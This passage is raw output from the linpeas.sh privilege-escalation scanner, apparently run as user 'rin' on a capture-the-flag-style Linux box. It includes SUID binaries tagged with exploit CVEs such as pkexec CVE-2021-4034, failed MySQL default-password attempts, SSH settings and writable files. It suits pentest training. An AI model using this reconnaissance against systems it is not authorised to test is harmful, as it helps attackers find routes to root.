874

875
╔══════════╣ Analyzing MariaDB Files (limit 70)
876
-rw-r--r-- 1 root root 1126 Nov 30  2023 /etc/mysql/mariadb.cnf
877
[client-server]
878
socket = /run/mysqld/mysqld.sock
879
!includedir /etc/mysql/conf.d/
880
!includedir /etc/mysql/mariadb.conf.d/
881

882

883
╔══════════╣ Analyzing PAM Auth Files (limit 70)
884
drwxr-xr-x 2 root root 4096 Apr  4  2025 /etc/pam.d
885
-rw-r--r-- 1 root root 2133 Dec 21  2023 /etc/pam.d/sshd
886
account    required     pam_nologin.so
887
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close
888
session    required     pam_loginuid.so
889
session    optional     pam_keyinit.so force revoke
890
session    optional     pam_motd.so  motd=/run/motd.dynamic
891
session    optional     pam_motd.so noupdate
892
session    optional     pam_mail.so standard noenv # [1]
893
session    required     pam_limits.so
894
session    required     pam_env.so # [1]
895
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
896
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open
897

898

899
╔══════════╣ Analyzing Ldap Files (limit 70)
900
The password hash is from the {SSHA} to 'structural'
901
drwxr-xr-x 2 root root 4096 Mar 31  2025 /etc/ldap
902

903

904
╔══════════╣ Analyzing Keyring Files (limit 70)
905
drwxr-xr-x 2 root root 4096 Mar 18  2025 /usr/share/keyrings
906

907

908

909

910
╔══════════╣ Analyzing FTP Files (limit 70)
911

912

913

914
-rw-r--r-- 1 root root 69 Mar 13  2025 /etc/php/8.3/mods-available/ftp.ini
915
-rw-r--r-- 1 root root 69 Mar 13  2025 /usr/share/php8.3-common/common/ftp.ini
916

917

918

919

920

921

922
╔══════════╣ Analyzing Other Interesting Files (limit 70)
923
-rw-r--r-- 1 root root 3526 Apr 18  2019 /etc/skel/.bashrc
924
-rw-r--r-- 1 rin rin 3526 Apr 18  2019 /home/rin/.bashrc
925

926

927

928

929

930
-rw-r--r-- 1 root root 807 Apr 18  2019 /etc/skel/.profile
931
-rw-r--r-- 1 rin rin 807 Apr 18  2019 /home/rin/.profile
932

933

934

935

936
╔══════════╣ Analyzing Windows Files (limit 70)
937

938

939

940

941

942

943

944

945

946

947

948

949

950

951

952

953

954

955

956

957

958

959
lrwxrwxrwx 1 root root 22 Mar 31  2025 /etc/alternatives/my.cnf -> /etc/mysql/mariadb.cnf
960
-rw-r--r-- 1 root root 289 Dec 29 23:13 /etc/my.cnf
961
lrwxrwxrwx 1 root root 24 Mar 31  2025 /etc/mysql/my.cnf -> /etc/alternatives/my.cnf
962
-rw-r--r-- 1 root root 83 Mar 31  2025 /var/lib/dpkg/alternatives/my.cnf
963

964

965

966

967

968

969

970

971

972

973

974

975

976

977

978

979

980

981

982

983

984

985

986

987

988

989

990

991

992

993
╔══════════╣ Searching mysql credentials and exec
994
Found readable /etc/mysql/my.cnf
995
[client-server]
996
socket = /run/mysqld/mysqld.sock
997
!includedir /etc/mysql/conf.d/
998
!includedir /etc/mysql/mariadb.conf.d/
999

1000
╔══════════╣ MySQL version
1001
mysql  Ver 14.14 Distrib 5.7.38, for linux-glibc2.12 (x86_64) using  EditLine wrapper
1002

1003

1004
═╣ MySQL connection using default root/root ........... No
1005
═╣ MySQL connection using root/toor ................... No
1006
═╣ MySQL connection using root/NOPASS ................. No
1007

1008
Unable to determine MySQL version.
1009
╔══════════╣ Analyzing PGP-GPG Files (limit 70)
1010
/usr/bin/gpg
1011
netpgpkeys Not Found
1012
netpgp Not Found
1013

1014
-rw-r--r-- 1 root root 8700 Jun 22  2023 /etc/apt/trusted.gpg.d/debian-archive-bookworm-automatic.gpg
1015
-rw-r--r-- 1 root root 8709 Jun 22  2023 /etc/apt/trusted.gpg.d/debian-archive-bookworm-security-automatic.gpg
1016
-rw-r--r-- 1 root root 280 Jun 22  2023 /etc/apt/trusted.gpg.d/debian-archive-bookworm-stable.gpg
1017
-rw-r--r-- 1 root root 8700 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-bullseye-automatic.gpg
1018
-rw-r--r-- 1 root root 8709 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-bullseye-security-automatic.gpg
1019
-rw-r--r-- 1 root root 2453 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-bullseye-stable.gpg
1020
-rw-r--r-- 1 root root 8132 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
1021
-rw-r--r-- 1 root root 8141 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
1022
-rw-r--r-- 1 root root 2332 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
1023
-rw-r--r-- 1 root root 7443 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
1024
-rw-r--r-- 1 root root 7452 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
1025
-rw-r--r-- 1 root root 2263 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
1026
-rw-r--r-- 1 root root 0 Apr  1  2025 /etc/apt/trusted.gpg.d/ondrej_ubuntu_php.gpg
1027
-rw-r--r-- 1 root root 1769 Apr  1  2025 /etc/apt/trusted.gpg.d/php.gpg
1028
-rw-r--r-- 1 root root 2899 Jul  1  2022 /usr/share/gnupg/distsigkey.gpg
1029
-rw-r--r-- 1 root root 8700 Jun 22  2023 /usr/share/keyrings/debian-archive-bookworm-automatic.gpg
1030
-rw-r--r-- 1 root root 8709 Jun 22  2023 /usr/share/keyrings/debian-archive-bookworm-security-automatic.gpg
1031
-rw-r--r-- 1 root root 280 Jun 22  2023 /usr/share/keyrings/debian-archive-bookworm-stable.gpg
1032
-rw-r--r-- 1 root root 8700 Jun 22  2023 /usr/share/keyrings/debian-archive-bullseye-automatic.gpg
1033
-rw-r--r-- 1 root root 8709 Jun 22  2023 /usr/share/keyrings/debian-archive-bullseye-security-automatic.gpg
1034
-rw-r--r-- 1 root root 2453 Jun 22  2023 /usr/share/keyrings/debian-archive-bullseye-stable.gpg
1035
-rw-r--r-- 1 root root 8132 Jun 22  2023 /usr/share/keyrings/debian-archive-buster-automatic.gpg
1036
-rw-r--r-- 1 root root 8141 Jun 22  2023 /usr/share/keyrings/debian-archive-buster-security-automatic.gpg
1037
-rw-r--r-- 1 root root 2332 Jun 22  2023 /usr/share/keyrings/debian-archive-buster-stable.gpg
1038
-rw-r--r-- 1 root root 73314 Jun 22  2023 /usr/share/keyrings/debian-archive-keyring.gpg
1039
-rw-r--r-- 1 root root 36873 Jun 22  2023 /usr/share/keyrings/debian-archive-removed-keys.gpg
1040
-rw-r--r-- 1 root root 7443 Jun 22  2023 /usr/share/keyrings/debian-archive-stretch-automatic.gpg
1041
-rw-r--r-- 1 root root 7452 Jun 22  2023 /usr/share/keyrings/debian-archive-stretch-security-automatic.gpg
1042
-rw-r--r-- 1 root root 2263 Jun 22  2023 /usr/share/keyrings/debian-archive-stretch-stable.gpg
1043

1044

1045

1046
╔══════════╣ Searching uncommon passwd files (splunk)
1047
passwd file: /etc/pam.d/passwd
1048
passwd file: /etc/passwd
1049
passwd file: /usr/share/lintian/overrides/passwd
1050

1051
╔══════════╣ Searching ssl/ssh files
1052
╔══════════╣ Analyzing SSH Files (limit 70)
1053

1054

1055

1056

1057

1058
-rw-r--r-- 1 root root 172 Mar 18  2025 /etc/ssh/ssh_host_ecdsa_key.pub
1059
-rw-r--r-- 1 root root 92 Mar 18  2025 /etc/ssh/ssh_host_ed25519_key.pub
1060
-rw-r--r-- 1 root root 564 Mar 18  2025 /etc/ssh/ssh_host_rsa_key.pub
1061

1062
PermitRootLogin yes
1063
ChallengeResponseAuthentication no
1064
UsePAM yes
1065
══╣ Some certificates were found (out limited):
1066
/etc/ssl/certs/ACCVRAIZ1.pem
1067
/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem
1068
/etc/ssl/certs/Actalis_Authentication_Root_CA.pem
1069
/etc/ssl/certs/AffirmTrust_Commercial.pem
1070
/etc/ssl/certs/AffirmTrust_Networking.pem
1071
/etc/ssl/certs/AffirmTrust_Premium_ECC.pem
1072
/etc/ssl/certs/AffirmTrust_Premium.pem
1073
/etc/ssl/certs/Amazon_Root_CA_1.pem
1074
/etc/ssl/certs/Amazon_Root_CA_2.pem
1075
/etc/ssl/certs/Amazon_Root_CA_3.pem
1076
/etc/ssl/certs/Amazon_Root_CA_4.pem
1077
/etc/ssl/certs/Atos_TrustedRoot_2011.pem
1078
/etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
1079
/etc/ssl/certs/Baltimore_CyberTrust_Root.pem
1080
/etc/ssl/certs/Buypass_Class_2_Root_CA.pem
1081
/etc/ssl/certs/Buypass_Class_3_Root_CA.pem
1082
/etc/ssl/certs/ca-certificates.crt
1083
/etc/ssl/certs/CA_Disig_Root_R2.pem
1084
/etc/ssl/certs/Certigna.pem
1085
/etc/ssl/certs/Certigna_Root_CA.pem
1086
1563PSTORAGE_CERTSBIN
1087

1088
══╣ Writable ssh and gpg agents
1089
/etc/systemd/user/sockets.target.wants/gpg-agent.socket
1090
/etc/systemd/user/sockets.target.wants/gpg-agent-browser.socket
1091
/etc/systemd/user/sockets.target.wants/gpg-agent-extra.socket
1092
/etc/systemd/user/sockets.target.wants/gpg-agent-ssh.socket
1093
══╣ Some home ssh config file was found
1094
/usr/share/openssh/sshd_config
1095
Include /etc/ssh/sshd_config.d/*.conf
1096
ChallengeResponseAuthentication no
1097
UsePAM yes
1098
X11Forwarding yes
1099
PrintMotd no
1100
AcceptEnv LANG LC_*
1101
Subsystem       sftp    /usr/lib/openssh/sftp-server
1102

1103
══╣ /etc/hosts.allow file found, trying to read the rules:
1104
/etc/hosts.allow
1105

1106

1107
Searching inside /etc/ssh/ssh_config for interesting info
1108
Include /etc/ssh/ssh_config.d/*.conf
1109
Host *
1110
    SendEnv LANG LC_*
1111
    HashKnownHosts yes
1112
    GSSAPIAuthentication yes
1113

1114

1115

1116

1117
                      ╔════════════════════════════════════╗
1118
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
1119
                      ╚════════════════════════════════════╝
1120
╔══════════╣ SUID - Check easy privesc, exploits and write perms
1121
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
1122
strace Not Found
1123
-rwsr-xr-x 1 root root 44K Jul 27  2018 /usr/bin/chsh
1124
-rwsr-xr-x 1 root root 53K Jul 27  2018 /usr/bin/chfn  --->  SuSE_9.3/10
1125
-rwsr-xr-x 1 root root 44K Jul 27  2018 /usr/bin/newgrp  --->  HP-UX_10.20
1126
-rwsr-xr-x 1 root root 83K Jul 27  2018 /usr/bin/gpasswd
1127
-rwsr-xr-x 1 root root 47K Apr  6  2024 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
1128
-rwsr-xr-x 1 root root 63K Apr  6  2024 /usr/bin/su
1129
-rwsr-xr-x 1 root root 35K Apr  6  2024 /usr/bin/umount  --->  BSD/Linux(08-1996)
1130
-rwsr-xr-x 1 root root 23K Jan 13  2022 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034
1131
-rwsr-xr-x 1 root root 179K Jan 14  2023 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
1132
-rwsr-xr-x 1 root root 63K Jul 27  2018 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
1133
-rwsr-xr-- 1 root messagebus 51K Jun  6  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1134
-rwsr-xr-x 1 root root 10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
1135
-rwsr-xr-x 1 root root 471K Dec 21  2023 /usr/lib/openssh/ssh-keysign
1136
-rwsr-xr-x 1 root root 19K Jan 13  2022 /usr/libexec/polkit-agent-helper-1
1137

1138
╔══════════╣ SGID
1139
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
1140
-rwxr-sr-x 1 root shadow 39K Feb 14  2019 /usr/sbin/unix_chkpwd
1141
-rwxr-sr-x 1 root ssh 347K Dec 21  2023 /usr/bin/ssh-agent
1142
-rwxr-sr-x 1 root shadow 71K Jul 27  2018 /usr/bin/chage
1143
-rwxr-sr-x 1 root shadow 31K Jul 27  2018 /usr/bin/expiry
1144
-rwxr-sr-x 1 root tty 15K May  4  2018 /usr/bin/bsd-write
1145
-rwxr-sr-x 1 root crontab 43K Oct 11  2019 /usr/bin/crontab
1146

1147
╔══════════╣ Files with ACLs (limited to 50)
1148
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#acls
1149
files with acls in searched folders Not Found
1150

1151
╔══════════╣ Capabilities
1152
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities
1153
══╣ Current shell capabilities
1154
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
1155
CapInh:  [Invalid capability format]
1156
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
1157
CapPrm:  [Invalid capability format]
1158
./linpeas.sh: 7785: ./linpeas.sh: [[: not found
1159
CapEff:  [Invalid capability format]
1160
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
1161
CapBnd:  [Invalid capability format]
1162
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
1163
CapAmb:  [Invalid capability format]
1164

1165
╚ Parent process capabilities
1166
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
1167
CapInh:  [Invalid capability format]
1168
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
1169
CapPrm:  [Invalid capability format]
1170
./linpeas.sh: 7810: ./linpeas.sh: [[: not found
1171
CapEff:  [Invalid capability format]
1172
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
1173
CapBnd:  [Invalid capability format]
1174
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
1175
CapAmb:  [Invalid capability format]
1176

1177

1178
Files with capabilities (limited to 50):
1179
/usr/bin/ping = cap_net_raw+ep
1180
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
1181

1182
╔══════════╣ Checking misconfigurations of ld.so
1183
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#ldso
1184
/etc/ld.so.conf
1185
Content of /etc/ld.so.conf:
1186
include /etc/ld.so.conf.d/*.conf
1187

1188
/etc/ld.so.conf.d
1189
  /etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
1190
  - /usr/lib/x86_64-linux-gnu/libfakeroot
1191
  /etc/ld.so.conf.d/libc.conf
1192
  - /usr/local/lib
1193
  /etc/ld.so.conf.d/x86_64-linux-gnu.conf
1194
  - /usr/local/lib/x86_64-linux-gnu
1195
  - /lib/x86_64-linux-gnu
1196
  - /usr/lib/x86_64-linux-gnu
1197

1198
/etc/ld.so.preload
1199
╔══════════╣ Files (scripts) in /etc/profile.d/
1200
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#profiles-files
1201
total 8
1202
drwxr-xr-x  2 root root 4096 Sep  3  2022 .
1203
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
1204

1205
╔══════════╣ Permissions in init, init.d, systemd, and rc.d
1206
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd
1207

1208
╔══════════╣ AppArmor binary profiles
1209
-rw-r--r-- 1 root root  729 Nov 13  2020 usr.sbin.inspircd
1210

1211
═╣ Hashes inside passwd file? ........... No
1212
═╣ Writable passwd file? ................ No
1213
═╣ Credentials in fstab/mtab? ........... No
1214
═╣ Can I read shadow files? ............. No
1215
═╣ Can I read shadow plists? ............ No
1216
═╣ Can I write shadow plists? ........... No
1217
═╣ Can I read opasswd file? ............. No
1218
═╣ Can I write in network-scripts? ...... No
1219
═╣ Can I read root folder? .............. No
1220

1221
╔══════════╣ Searching root files in home dirs (limit 30)
1222
/home/
1223
/home/rin/.bash_history
1224
/root/
1225
/var/www
1226
/var/www/html/login.php
1227

1228
╔══════════╣ Searching folders owned by me containing others files on it (limit 100)
1229

1230
╔══════════╣ Readable files belonging to root and readable by me but not world readable
1231

1232
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
1233
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
1234
/dev/mqueue
1235
/dev/shm
1236
/home/rin
1237
/run/lock
1238
/run/user/1000
1239
/run/user/1000/dbus-1
1240
/run/user/1000/dbus-1/services
1241
/run/user/1000/gnupg
1242
/run/user/1000/systemd
1243
/run/user/1000/systemd/inaccessible
1244
/run/user/1000/systemd/inaccessible/dir
1245
/run/user/1000/systemd/inaccessible/reg
1246
/run/user/1000/systemd/units
1247
/tmp
1248
/tmp/.font-unix
1249
/tmp/.ICE-unix
1250
/tmp/linpeas.sh
1251
/tmp/repeater.sh
1252
/tmp/.Test-unix
1253
#)You_can_write_even_more_files_inside_last_directory
1254

1255
/usr/local/bin/irc_bot.py
1256
/var/lib/php/sessions
1257
/var/tmp
1258

1259
╔══════════╣ Interesting GROUP writable files (not in Home) (max 200)
1260
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
1261
  Group rin:
1262
/tmp/linpeas.sh
1263

1264

1265

1266
                            ╔═════════════════════════╗
1267
════════════════════════════╣ Other Interesting Files ╠════════════════════════════
1268
                            ╚═════════════════════════╝
1269
╔══════════╣ .sh files in path
1270
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path
1271
/usr/bin/gettext.sh
1272

1273
╔══════════╣ Executable files potentially added by user (limit 70)
1274
2026-01-13+04:23:49.9654462840 /tmp/linpeas.sh
1275
2026-01-13+04:14:19.9630547680 /tmp/repeater.sh
1276
2025-04-11+22:22:32.8990844810 /etc/grub.d/10_linux
1277
2025-04-11+22:07:00.9628442610 /etc/grub.d/40_custom
1278
2025-04-05+08:32:38.1253354200 /usr/local/bin/irc_bot.py
1279
2025-04-01+03:55:32.0919414020 /usr/local/bin/calc-prorate
1280

1281
╔══════════╣ Unexpected in /opt (usually empty)
1282
total 16
1283
drwxr-xr-x  2 root root 4096 Dec 30 00:25 .
1284
drwxr-xr-x 18 root root 4096 Mar 18  2025 ..
1285
-rw-r--r--  1 root root   21 Dec 30 00:04 passwd.txt
1286
-rw-r--r--  1 root root 1240 Dec 30 00:25 repeater.sh
1287

1288
╔══════════╣ Unexpected in root
1289
/initrd.img.old
1290
/vmlinuz.old
1291
/vmlinuz
1292
/initrd.img
1293

1294
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
1295
/home/rin/.gnupg/trustdb.gpg
1296
/home/rin/.gnupg/pubring.kbx
1297
/var/log/syslog
1298
/var/log/auth.log
1299
/var/log/daemon.log
1300
/var/log/journal/52a22a6e47cb4a5995fb43c3554baa0e/system.journal
1301
/var/log/journal/52a22a6e47cb4a5995fb43c3554baa0e/user-1000.journal
1302

1303
╔══════════╣ Writable log files (logrotten) (limit 50)
1304
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#logrotate-exploitation
1305
logrotate 3.14.0
1306

1307
    Default mail command:       /usr/bin/mail
1308
    Default compress command:   /bin/gzip
1309
    Default uncompress command: /bin/gunzip
1310
    Default compress extension: .gz
1311
    Default state file path:    /var/lib/logrotate/status
1312
    ACL support:                yes
1313
    SELinux support:            yes
1314
╔══════════╣ Syslog configuration (limit 50)
1315

1316

1317

1318
module(load="imuxsock") # provides support for local system logging
1319
module(load="imklog")   # provides kernel logging support
1320

1321

1322

1323

1324

1325
$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat
1326

1327
$FileOwner root
1328
$FileGroup adm
1329
$FileCreateMode 0640
1330
$DirCreateMode 0755
1331
$Umask 0022
1332

1333
$WorkDirectory /var/spool/rsyslog
1334

1335
$IncludeConfig /etc/rsyslog.d/*.conf
1336

1337

1338

1339
auth,authpriv.*                 /var/log/auth.log
1340
*.*;auth,authpriv.none          -/var/log/syslog
1341
daemon.*                        -/var/log/daemon.log
1342
kern.*                          -/var/log/kern.log
1343
lpr.*                           -/var/log/lpr.log
1344
mail.*                          -/var/log/mail.log
1345
user.*                          -/var/log/user.log
1346

1347
mail.info                       -/var/log/mail.info
1348
mail.warn                       -/var/log/mail.warn
1349
mail.err                        /var/log/mail.err
1350

1351
*.=debug;\
1352
        auth,authpriv.none;\
1353
        news.none;mail.none     -/var/log/debug
1354
*.=info;*.=notice;*.=warn;\
1355
        auth,authpriv.none;\
1356
        cron,daemon.none;\
1357
        mail,news.none          -/var/log/messages
1358

1359
*.emerg                         :omusrmsg:*
1360
╔══════════╣ Auditd configuration (limit 50)
1361
auditd configuration Not Found
1362
╔══════════╣ Log files with potentially weak perms (limit 50)
1363
   130852      8 -rw-r-----   1 root     adm          7408 Apr 11  2025 /var/log/auth.log.3.gz
1364
   134085      0 -rw-r-----   1 root     adm             0 Jan 13 03:11 /var/log/debug
1365
   130854     48 -rw-r-----   1 root     adm         44033 Jan 13 03:11 /var/log/daemon.log.1
1366
   132336      4 -rw-r-----   1 root     adm          1690 Apr 11  2025 /var/log/user.log.1
1367
   130894     12 -rw-r-----   1 root     adm         11876 Mar 31  2025 /var/log/apt/term.log.2.gz
1368
   131235      0 -rw-r-----   1 root     adm             0 Dec 30 00:40 /var/log/apt/term.log
1369
   131930     12 -rw-r-----   1 root     adm         10140 Apr 11  2025 /var/log/apt/term.log.1.gz
1370
   133899      4 -rw-r-----   1 root     adm           644 Jan 13 03:50 /var/log/kern.log
1371
   130901     16 -rw-r-----   1 root     adm         14696 Jan 13 04:24 /var/log/syslog
1372
   133518      4 -rw-r-----   1 root     adm          1697 Jan 13 03:11 /var/log/auth.log.1
1373
   133698     88 -rw-r-----   1 root     adm         86101 Dec 29 23:05 /var/log/kern.log.2.gz
1374
   133984     12 -rw-r-----   1 root     adm          9209 Jan 13 04:24 /var/log/auth.log
1375
   130853    196 -rw-r-----   1 root     adm        198715 Apr 11  2025 /var/log/messages.3.gz
1376
   130857     16 -rw-r-----   1 root     adm         13708 Apr 11  2025 /var/log/debug.3.gz
1377
   133311     16 -rw-r-----   1 root     adm         14763 Apr 11  2025 /var/log/syslog.4.gz
1378
   132383      0 -rw-r-----   1 irc      adm             0 Mar 31  2025 /var/log/inspircd.log
1379
   130851    116 -rw-r-----   1 root     adm        115888 Jan 13 03:11 /var/log/syslog.1
1380
   133005     12 -rw-r-----   1 root     adm          9531 Dec 29 23:05 /var/log/daemon.log.2.gz
1381
   132995     44 -rw-r-----   1 root     adm         41915 Apr  3  2025 /var/log/syslog.7.gz
1382
   133942     16 -rw-r-----   1 root     adm         13986 Jan 13 03:11 /var/log/debug.1
1383
   134073    108 -rw-r-----   1 root     adm        107529 Dec 29 23:05 /var/log/syslog.3.gz
1384
   133873      4 -rw-r-----   1 root     adm          2228 Dec 29 23:05 /var/log/auth.log.2.gz
1385
   133202      4 -rw-r-----   1 root     adm          3559 Dec 30 00:00 /var/log/syslog.2.gz
1386
   132238      4 -rw-------   1 irc      irc           328 Mar 31  2025 /var/log/ircd/ircd-hybrid-user.log
1387
   132234      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-oper.log
1388
   132224      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-kill.log
1389
   132227      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-dline.log
1390
   132240      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-debug.log
1391
   132226      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-kline.log
1392
   132233      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-resv.log
1393
   132231      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-xline.log
1394
   131094     16 -rw-r-----   1 root     adm         13851 Apr  4  2025 /var/log/syslog.6.gz
1395
   130855    224 -rw-r-----   1 root     adm        228576 Apr 11  2025 /var/log/kern.log.3.gz
1396
   133876      8 -rw-r-----   1 root     adm          4801 Dec 29 23:05 /var/log/debug.2.gz
1397
   133892     12 -rw-r-----   1 root     adm         11079 Jan 13 04:24 /var/log/daemon.log
1398
   133881     76 -rw-r-----   1 root     adm         77465 Dec 29 23:05 /var/log/messages.2.gz
1399
   133319     52 -rw-r-----   1 root     adm         50014 Apr 11  2025 /var/log/daemon.log.3.gz
1400
   133841      0 -rw-r-----   1 root     adm             0 Dec 29 23:05 /var/log/user.log
1401
   134099      4 -rw-r-----   1 root     adm           794 Jan 13 03:50 /var/log/messages
1402
   133852     88 -rw-r-----   1 root     adm         89768 Apr  5  2025 /var/log/syslog.5.gz
1403
   133953     76 -rw-r-----   1 root     adm         74947 Jan 13 03:11 /var/log/messages.1
1404
   133387     88 -rw-r-----   1 root     adm         88579 Jan 13 03:11 /var/log/kern.log.1
1405

1406
╔══════════╣ Files inside /home/rin (limit 20)
1407
total 28
1408
drwx------ 3 rin  rin  4096 Jan 13 04:24 .
1409
drwxr-xr-x 3 root root 4096 Dec 29 23:06 ..
1410
lrwxrwxrwx 1 root root    9 Dec 29 23:07 .bash_history -> /dev/null
1411
-rw-r--r-- 1 rin  rin   220 Apr 18  2019 .bash_logout
1412
-rw-r--r-- 1 rin  rin  3526 Apr 18  2019 .bashrc
1413
drwx------ 3 rin  rin  4096 Jan 13 04:24 .gnupg
1414
-rw-r--r-- 1 rin  rin   807 Apr 18  2019 .profile
1415
-rw------- 1 rin  rin    44 Dec 30 00:29 user.txt
1416

1417
╔══════════╣ Files inside others home (limit 20)
1418
/var/www/html/config.php
1419
/var/www/html/item.php
1420
/var/www/html/login.php
1421
/var/www/html/logout.php
1422
/var/www/html/index.php
1423

1424
╔══════════╣ Searching installed mail applications
1425

1426
╔══════════╣ Mails (limit 50)
1427

1428
╔══════════╣ Backup folders
1429
drwxr-xr-x 2 root root 4096 Dec 29 23:43 /var/backups
1430
total 40
1431
-rw-r--r-- 1 root root 23836 Dec 29 23:12 apt.extended_states.0
1432
-rw-r--r-- 1 root root  2556 Apr  4  2025 apt.extended_states.1.gz
1433
-rw-r--r-- 1 root root  2006 Apr  1  2025 apt.extended_states.2.gz
1434
-rw-r--r-- 1 root root  1542 Apr  1  2025 apt.extended_states.3.gz
1435
-rw-r--r-- 1 root root   757 Mar 30  2025 apt.extended_states.4.gz
1436

1437

1438
╔══════════╣ Backup files (limited 100)
1439
-rw-r--r-- 1 root root 9731 Jun 30  2022 /usr/lib/modules/4.19.0-21-amd64/kernel/drivers/net/team/team_mode_activebackup.ko
1440
-rw-r--r-- 1 root root 9731 Jun 25  2024 /usr/lib/modules/4.19.0-27-amd64/kernel/drivers/net/team/team_mode_activebackup.ko
1441
-rw-r--r-- 1 root root 416107 Dec 21  2020 /usr/share/doc/manpages/Changes.old.gz
1442
-rw-r--r-- 1 root root 194817 Oct  9  2020 /usr/share/doc/x11-common/changelog.Debian.old.gz
1443

1444
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
1445
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3027002
1446

1447
 -> Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)
1448

1449
╔══════════╣ Web files?(output limit)
1450
/var/www/:
1451
total 12K
1452
drwxr-xr-x  3 root     root     4.0K Apr  4  2025 .
1453
drwxr-xr-x 12 root     root     4.0K Apr  1  2025 ..
1454
drwxr-xr-x  2 www-data www-data 4.0K Dec 30 00:01 html
1455

1456
/var/www/html:
1457
total 44K
1458
drwxr-xr-x 2 www-data www-data 4.0K Dec 30 00:01 .
1459
drwxr-xr-x 3 root     root     4.0K Apr  4  2025 ..
1460

1461
╔══════════╣ All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)
1462
-rw-r--r-- 1 root root 0 Jan 13 03:11 /run/network/.ifstate.lock
1463
-rw-r--r-- 1 root root 0 Feb 22  2021 /usr/share/dictionaries-common/site-elisp/.nosearch
1464
-rw-r--r-- 1 rin rin 220 Apr 18  2019 /home/rin/.bash_logout
1465
-rw-r--r-- 1 root root 220 Apr 18  2019 /etc/skel/.bash_logout
1466
-rw------- 1 root root 0 Mar 18  2025 /etc/.pwd.lock
1467

1468
╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)
1469
-rwxr-xr-x 1 rin rin 25 Jan 13 04:14 /tmp/repeater.sh
1470
-rwxrwxrwx 1 rin rin 971926 Jan 13 04:23 /tmp/linpeas.sh
1471

1472
╔══════════╣ Searching passwords in history files
1473
/usr/share/rubygems-integration/all/gems/rake-13.0.3/lib/rake/thread_history_display.rb:      @stats   = stats
1474
/usr/share/rubygems-integration/all/gems/rake-13.0.3/lib/rake/thread_history_display.rb:      @items   = { _seq_: 1  }
1475
/usr/share/rubygems-integration/all/gems/rake-13.0.3/lib/rake/thread_history_display.rb:      @threads = { _seq_: "A" }
1476

1477
╔══════════╣ Searching passwords in config PHP files
1478

1479
╔══════════╣ Searching *password* or *credential* files in home (limit 70)
1480
/etc/pam.d/common-password
1481
/usr/bin/systemd-ask-password
1482
/usr/bin/systemd-tty-ask-password-agent
1483
/usr/lib/grub/i386-pc/legacy_password_test.mod
1484
